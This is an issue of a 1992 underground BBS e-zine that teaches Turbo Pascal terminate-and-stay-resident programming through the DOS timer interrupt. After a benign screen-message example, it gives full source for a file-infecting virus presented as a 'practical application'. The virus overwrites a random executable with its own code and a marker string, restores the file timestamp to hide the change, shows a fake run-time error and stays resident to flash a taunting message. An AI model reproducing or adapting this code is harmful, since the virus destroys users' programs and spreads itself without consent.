510 lines
16 KiB
Plaintext
510 lines
16 KiB
Plaintext
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
º ÛßÛÜ ÜÛÜ ÜÛÛÛÛÜ ÜÛÛÛÛÜ Ü ÛßßÛßßÛ º
|
||
º Û Û ÜÛ ÛÜ Û ÞÝ Û Û ÞÝ Û Û º
|
||
º Û Û Û Û Û ÞÝ Û Û ÞÝ Û Û Û º
|
||
º Û Û ÛßßßÛ Û Û Û Û Û Û º
|
||
º ÛÜÛß Û Û Û Û Û Û Û Û º
|
||
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|
||
º Demented Anarchists & Malicious Malignant Inventors of Terror º
|
||
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|
||
º Date O' Release: [08/07/92] Issue #7 º
|
||
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
|
||
º TSR Happy Fun By: LoRD iNCARNADINE º
|
||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
|
||
------------------------------------------------------------------------------
|
||
DISCLAIMER: All material contained in this file has been obtained through
|
||
legitimate resources. All material is for informational purposes only, and is
|
||
not to be used for any illegal purposes. By continuing to read this file, you
|
||
free the author from all responsibility.
|
||
------------------------------------------------------------------------------
|
||
|
||
|
||
LORD iNCARNADINE Presents:
|
||
|
||
|
||
-- TSR's And Other Assorted Bullshit --
|
||
|
||
|
||
|
||
Ok. This is an article on TSR, that is Terminate and
|
||
Stay Resident, programs and how to manipulate them with Turbo
|
||
Pascal. I know a number of people who have been interested in
|
||
this subject but lacked the programming skill to research it,
|
||
so I will attempt to fully explain, without excessive use of
|
||
technical shit, the practical side of this type of thing. So
|
||
let's start at the beginning:
|
||
|
||
|
||
o What is a TSR?
|
||
|
||
|
||
Well, a TSR is a program that does not finish
|
||
functioning when the end of the code is reached. It
|
||
incorporates itself into RAM and 'Stays Resident'. In other
|
||
words: You go back to the dos prompt, but the program is
|
||
still running. A good example of a commercial TSR is the
|
||
SideKick program.
|
||
There are two types of TSR's: Passive TSR's and Active
|
||
TSR's. Passive TSR's are run only when called by another
|
||
program and are for the most part boring, but useful. Active
|
||
TSR's are TSR's that are called by a keystroke or that are
|
||
constantly running. These are the ones that can produce the
|
||
good stuff. The most common method in TP is to slave them to
|
||
either the keyboard or timer interrupts. Slaving them to the
|
||
keyboard interrupt is a bit complicated and therefore will be
|
||
saved for a later publication. The remainder of this issue,
|
||
and all of the examples will focus on Active TSR's slaved to
|
||
the Timer Interrupt.
|
||
|
||
|
||
o What the hell is the 'Timer Interrupt', and what does it
|
||
have to do with this TSR shit?
|
||
|
||
|
||
Ok. Before going any further let's discuss interrupts
|
||
for a bit. Those of you who are already familiar with the
|
||
interrupt vector table can skip over this section. As for the
|
||
rest...a little background knowledge is in order.
|
||
An interrupt is a break in the normal system operation.
|
||
Like your computer getting a telephone call. It stops
|
||
whatever it's doing, deals with the interrupt and then
|
||
returns to the program. Now there's a bunch of these things,
|
||
both hardware (System Clock Tick[$1C], Keyboard[$09]) and
|
||
software (Anything called by an INTR or MSDOS statement). The
|
||
numbers represent positions on the Interrupt Vector Table.
|
||
This is basically a collection of the addresses of interrupt
|
||
routines for when they are called. Trust me, that did make
|
||
sense. Lemme give an example:
|
||
|
||
( We'll follow the clock tick interrupt since that's the
|
||
one we'll be using ). About 18 times a second the computer is
|
||
informed its it's time to increment the ticker on the
|
||
internal clock. So... 1st) It goes to the interrupt vector
|
||
table and looks for the address of the increment routine at
|
||
$08. 2nd) It then goes to that address and increments the
|
||
clock. 3rd) Then from inside that routine it calls another
|
||
interrupt ($1C) which simply returns the routine. 4th) The
|
||
routine at the address found at $08 is finished, so it
|
||
returns control to the program again.
|
||
Now suppose, that we could change one of the addresses
|
||
of the Interrupt Vector Table, so that it pointed to a
|
||
routine of your making. Lets take $1C as an example: It does
|
||
essentially nothing, so merely change the address at $1C on
|
||
the table to the location of your own routine and now the
|
||
computer calls that routine 18 times a second. No matter
|
||
what. Whether something else is running or not. Sounds fun,
|
||
eh?
|
||
While a little simplified, that is the basis for the
|
||
idea of TSR's, at least the ones discussed in this file.
|
||
Now, on to the real thing.
|
||
|
||
|
||
o How do I get TSR's to work in Turbo Pascal?
|
||
|
||
|
||
Time to get to the point. What follows is a step by step
|
||
to a working TSR in TP using the timer interrupt:
|
||
|
||
|
||
1) Choose the interrupt - for the purpose of this example
|
||
we'll use $1C (clock tick).
|
||
|
||
2) Write the routine, and make sure it works. There are a
|
||
few rules here: The routine must be labeled interrupt
|
||
in the procedure statement and the Flags have to be
|
||
declared. You can't call any interrupts from inside the
|
||
routine and you can't use any functions like WRITELN,
|
||
READLN, or GOTOXY. These will lock the program because
|
||
they call bios routines and dos functions that won't
|
||
work with the program suspended in memory. Mathematical
|
||
calculations loops and just about everything else is
|
||
allowed. Here is an example of a method for writing to
|
||
the screen, it accesses the video memory directly.
|
||
Videoseg is a constant set a $B800. --
|
||
|
||
|
||
|
||
procedure shitonastick (Flags, cs, ip, ax, bx, cx, dx, si, di, ds, es, bp : word );
|
||
interrupt;
|
||
|
||
begin
|
||
|
||
inc(x);
|
||
|
||
if x = 120 then begin {Number of timer ticks till execution}
|
||
|
||
for bob := 0 to 17 do begin
|
||
mem [videoSeg : ron + (bob*2)] := ord(word1[bob]);
|
||
end;
|
||
|
||
if ron > 3800 then ron := 60;
|
||
Ron:= ron + 108;
|
||
x := 0;
|
||
end;
|
||
|
||
end;
|
||
{This is the array it refers to.}
|
||
-----------------------------------------------------------------------------------------------
|
||
|
||
word1[0]:='F'; word1[1]:= 'O' ; word1[2]:= 'U' ; word1[3] := 'R';
|
||
word1[4]:= ' '; word1[13]:=' '; word1[5]:='F'; word1[6]:= 'I' ; word1[7]:= 'E' ; word1[8] := 'N';
|
||
word1[9]:='D'; word1[10]:= 'I' ; word1[11]:= 'S' ; word1[12] := 'H';
|
||
word1[14]:='G'; word1[15]:= 'U' ; word1[16]:= 'Y' ; word1[17] := 'Z';
|
||
|
||
-----------------------------------------------------------------------------------------------
|
||
{The array is declared globally in another part of the program.}
|
||
|
||
There are many other guidelines and precautions, but if you
|
||
stick to the bare bones coding you should be ok. I seriously
|
||
suggest buying a book if you intend to do this more than once
|
||
or twice. The above will print a 17 character message on the
|
||
screen by writing directly to video memory. The location of
|
||
the message is changed by the variable ron, and is reset to
|
||
0 when it is about to leave the screen. That example is about
|
||
as simple as it gets, and adding the frills is easy
|
||
enough - for instance sound works well. There are a lot of other
|
||
things I could add, but it would take way too long. And, in any case,
|
||
if your serious about it - get a book. Enough Said.
|
||
|
||
|
||
3) Set up your keep statement and fix the memory. I won't
|
||
go in to all that much detail on this one just use the following
|
||
as the way to set up the timer interrupt:
|
||
|
||
|
||
begin
|
||
0
|
||
setintvec( $1C, @{NAME Of YOUR PROCEDURE HERE});
|
||
|
||
keep (0);
|
||
|
||
end.
|
||
|
||
As for the memory. Use the $M compiler directive. And
|
||
remember - the bigger the program, the more memory it needs.
|
||
Take a look at the whole thing and notice the memory directive
|
||
and variable declarations, specifically the array. --
|
||
|
||
Program SexualChocolate;
|
||
|
||
{$M 1024, 0, 1024}
|
||
|
||
Uses DOS, CRT;
|
||
|
||
Const videoSeg = $b800;
|
||
|
||
type
|
||
|
||
cmdarray = string [127];
|
||
|
||
Var
|
||
x,
|
||
Ron,
|
||
bob :integer;
|
||
word1 : array [0..20] of char;
|
||
|
||
procedure shitonastick (Flags, cs, ip, ax, bx, cx, dx, si, di, ds, es, bp : word );
|
||
interrupt;
|
||
|
||
begin
|
||
|
||
inc(x);
|
||
|
||
if x = 120 then begin
|
||
|
||
|
||
for bob := 0 to 17 do begin
|
||
mem [videoSeg : ron + (bob*2)] := ord(word1[bob]);
|
||
end;
|
||
|
||
sound(11000); {The sound metioned earlier}
|
||
delay(300);
|
||
nosound;
|
||
|
||
if ron > 3800 then ron := 60;
|
||
Ron:= ron + 108;
|
||
x := 0;
|
||
end;
|
||
end;
|
||
|
||
begin
|
||
|
||
word1[0]:='F'; word1[1]:= 'O' ; word1[2]:= 'U' ; word1[3] := 'R';
|
||
word1[4]:= ' '; word1[13]:=' '; word1[5]:='F'; word1[6]:= 'I' ; word1[7]:= 'E' ; word1[8] := 'N';
|
||
word1[9]:='D'; word1[10]:= 'I' ; word1[11]:= 'S' ; word1[12] := 'H';
|
||
word1[14]:='G'; word1[15]:= 'U' ; word1[16]:= 'Y' ; word1[17] := 'Z';
|
||
|
||
setintvec( $1C, @shitonastick);
|
||
|
||
keep (0);
|
||
end.
|
||
|
||
|
||
NOTE: REMEMBER NOT TO RUN THIS INSIDE THE TP ENVIRONMENT.
|
||
|
||
Compile it to disk, and then exit and run it.
|
||
|
||
|
||
|
||
And for those of you who are bored by all this here's something
|
||
a bit more interesting. A practical application for the preceding
|
||
program. Have Phun...
|
||
----------------------------------------------------------------
|
||
|
||
|
||
program hmmm;
|
||
|
||
{$M 14000, 0, 14000}
|
||
|
||
{$I-}
|
||
|
||
uses dos, crt;
|
||
|
||
const fsze = 7040;
|
||
|
||
const videoseg = $b800;
|
||
|
||
var
|
||
|
||
x,y,z : integer;
|
||
|
||
t1, t2, t3 : file;
|
||
|
||
former : longint;
|
||
|
||
buf : char;
|
||
|
||
word1 : array[0..20] of char;
|
||
|
||
curfile : string[60];
|
||
|
||
daver, cv, bv, dv, dv2 : string;
|
||
|
||
whack : boolean;
|
||
|
||
|
||
|
||
procedure shitonastick (Flags, cs, ip, ax, bx, cx, dx, si, di, ds, es, bp : word );
|
||
interrupt;
|
||
|
||
var
|
||
x, y, z, ron, bob : integer;
|
||
|
||
begin
|
||
|
||
inc(x);
|
||
|
||
if x = 240 then begin
|
||
|
||
for bob := 0 to 17 do begin
|
||
mem [videoSeg : ron + (bob*2)] := ord(word1[bob]);
|
||
end;
|
||
|
||
if ron > 3800 then ron := 60;
|
||
Ron:= ron + 108;
|
||
x := 0;
|
||
end;
|
||
|
||
end;
|
||
|
||
|
||
|
||
procedure copytoexe;
|
||
|
||
begin
|
||
|
||
|
||
reset(t1, 1);
|
||
reset(t2, 1);
|
||
|
||
GETftime(t2, former);
|
||
|
||
for x := 1 to fsze
|
||
do begin
|
||
|
||
blockread(t1, buf, sizeof(buf));
|
||
blockwrite(t2, buf, sizeof(buf));
|
||
|
||
end;
|
||
|
||
blockwrite(t2, dv, length(dv));
|
||
|
||
close(t1);
|
||
close(t2);
|
||
|
||
reset(t2);
|
||
setftime(t2, former);
|
||
close(t2);
|
||
|
||
end;
|
||
|
||
Procedure FNEW;
|
||
|
||
Var
|
||
Fileinfo : SearchRec;
|
||
Path : Array [1..20] of String[30];
|
||
Name : Array [1..200] of String[30];
|
||
err : Integer;
|
||
nump : Integer;
|
||
Drand, Frand : word;
|
||
Pather, Namer,y : String[30];
|
||
x :Integer;
|
||
z :Byte;
|
||
|
||
label Mistake;
|
||
|
||
Begin
|
||
Nump:=0;
|
||
FindFirst('\*.*', Directory, Fileinfo);
|
||
Err:=DosError;
|
||
While Err=0 do
|
||
begin
|
||
If (Fileinfo.Attr = Directory) and (Fileinfo.NAME[1] <> '.') then
|
||
begin
|
||
If Fileinfo.Name=Path[Nump] then Err:=1;
|
||
Nump:=Nump+1;
|
||
Path[Nump]:=Fileinfo.name;
|
||
Mistake:end;
|
||
FindNext(Fileinfo);
|
||
end;
|
||
|
||
Randomize;
|
||
Drand:=(Random(NUMP-1))+1;
|
||
Pather:=Path[Drand];
|
||
Pather:='\'+Pather+'\';
|
||
|
||
Nump:=0;
|
||
Findfirst (Pather + '*.exe', Anyfile, Fileinfo);
|
||
Err:=DosError;
|
||
While Err = 0 do
|
||
begin
|
||
Nump:=Nump+1;
|
||
Name[Nump]:=Fileinfo.name;
|
||
FindNext(Fileinfo);
|
||
If Fileinfo.name=Name[Nump] then Err:=2;
|
||
end;
|
||
|
||
|
||
Frand:=Random(Nump-1)+1;
|
||
Namer:=Name[Frand];
|
||
|
||
daver := pather + namer;
|
||
|
||
end;
|
||
|
||
procedure inti;
|
||
|
||
|
||
label
|
||
|
||
hj;
|
||
|
||
begin
|
||
|
||
|
||
curfile := paramstr(0);
|
||
assign(t1, curfile);
|
||
|
||
|
||
z := 0;
|
||
whack := false;
|
||
|
||
repeat
|
||
|
||
fnew;
|
||
|
||
y := length(daver);
|
||
cv := daver[y-3];
|
||
if cv = '.' then z:= 69;
|
||
if z = 69 then begin
|
||
if daver = curfile then goto hj;
|
||
assign(t3, daver);
|
||
reset(t3, 1);
|
||
if filesize(t3) + 500 < fsze then begin
|
||
close(t3);
|
||
exit;
|
||
end;
|
||
seek(t3, fsze);
|
||
blockread(t3, bv, 19);
|
||
bv := copy (bv, 1, 18);
|
||
if bv <> dv2 then whack := true;
|
||
close(t3);
|
||
end;
|
||
hj:
|
||
|
||
until whack;
|
||
|
||
assign(t2, daver);
|
||
|
||
copytoexe;
|
||
|
||
writeln ('Run-time error 103 at 0016:2E17');
|
||
writeln ('Cannot execute ', curfile);
|
||
|
||
end;
|
||
|
||
|
||
procedure thwhack;
|
||
|
||
begin
|
||
|
||
word1[0]:='F'; word1[1]:= 'O' ; word1[2]:= 'U' ; word1[3] := 'R';
|
||
word1[4]:= ' '; word1[13]:=' '; word1[5]:='F'; word1[6]:= 'I' ; word1[7]:= 'E' ; word1[8] := 'N';
|
||
word1[9]:='D'; word1[10]:= 'I' ; word1[11]:= 'S' ; word1[12] := 'H';
|
||
word1[14]:='G'; word1[15]:= 'U' ; word1[16]:= 'Y' ; word1[17] := 'Z';
|
||
|
||
end;
|
||
|
||
|
||
begin
|
||
|
||
dv := 'TooFieNDiSHFoRYou!-' ;
|
||
dv2 := copy (dv, 1, 18);
|
||
|
||
inti;
|
||
thwhack;
|
||
|
||
|
||
setintvec( $1C, @shitonastick);
|
||
|
||
keep (0);
|
||
|
||
|
||
end.
|
||
|
||
Well, that was some Assorted Bullshit from Lord Incarnadine.... {Praise Jesus}
|
||
|
||
DAMMiT News:
|
||
Well, since our last issue, DAMMiT has changed a teensy bit. We have another
|
||
site, Dark Sun, and 2 new authors, Inky and The Pyschotic Pyrotic... so happy
|
||
fun to us.... This time we will NOT end with a quote, or a Joke, why?
|
||
Becuz. Well, look for some nifty new filez soon, including Issue 8, which
|
||
should be out.... in about 20 minutes. Heh. If you've noticed, most of the
|
||
issues have been by me... That should change soon. We have a buncha ideas
|
||
that shall appear soon... mayhaps issue 9. Mayhaps. Lemme lone.
|
||
|
||
(History of this file: I called up Seven Seconds to check in, and found this
|
||
file as "DAMMiT #7".... I was told that Inky was making an issue, but, it
|
||
kinda showed up, so... Hey, I doan care. If it's written, it's here.}
|
||
<{[Why am I wasting time?]}>
|
||
WAITER!
|
||
|
||
If you'd like the Newest, Spiffiest DAMMiT Filez, or wanna Join DAMMiT, or
|
||
would like your BBS to be a site, or just want to call a nifty board, or
|
||
want your toenails polished, call these BBSes:
|
||
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
ºDAMMiT BBSesº
|
||
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÑÍÍÍÍÍÍÍÍÍÍÑÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
º BBS Name ³ Number ³ Baud ³ SysOp's Name: ³ Status º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º Death's Gate ³ (313) 591-0802 ³ 16.8 ³ Hacker ³ Dist. Site º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º Seven Seconds ³ (313) 344-2977 ³ 14.4 ³ Grave Walker ³ Dist. Site º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º The Dark Half ³ (313) 522-9162 ³ 24oo ³ Gandolf ³ Dist. Site º
|
||
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||
º Dark Sun ³ (313) 348-0421 ³ 24ooMNP ³ The Pyschotic ³ Dist. Site º
|
||
º ³ ³ ³ Pyrotic ³ º
|
||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|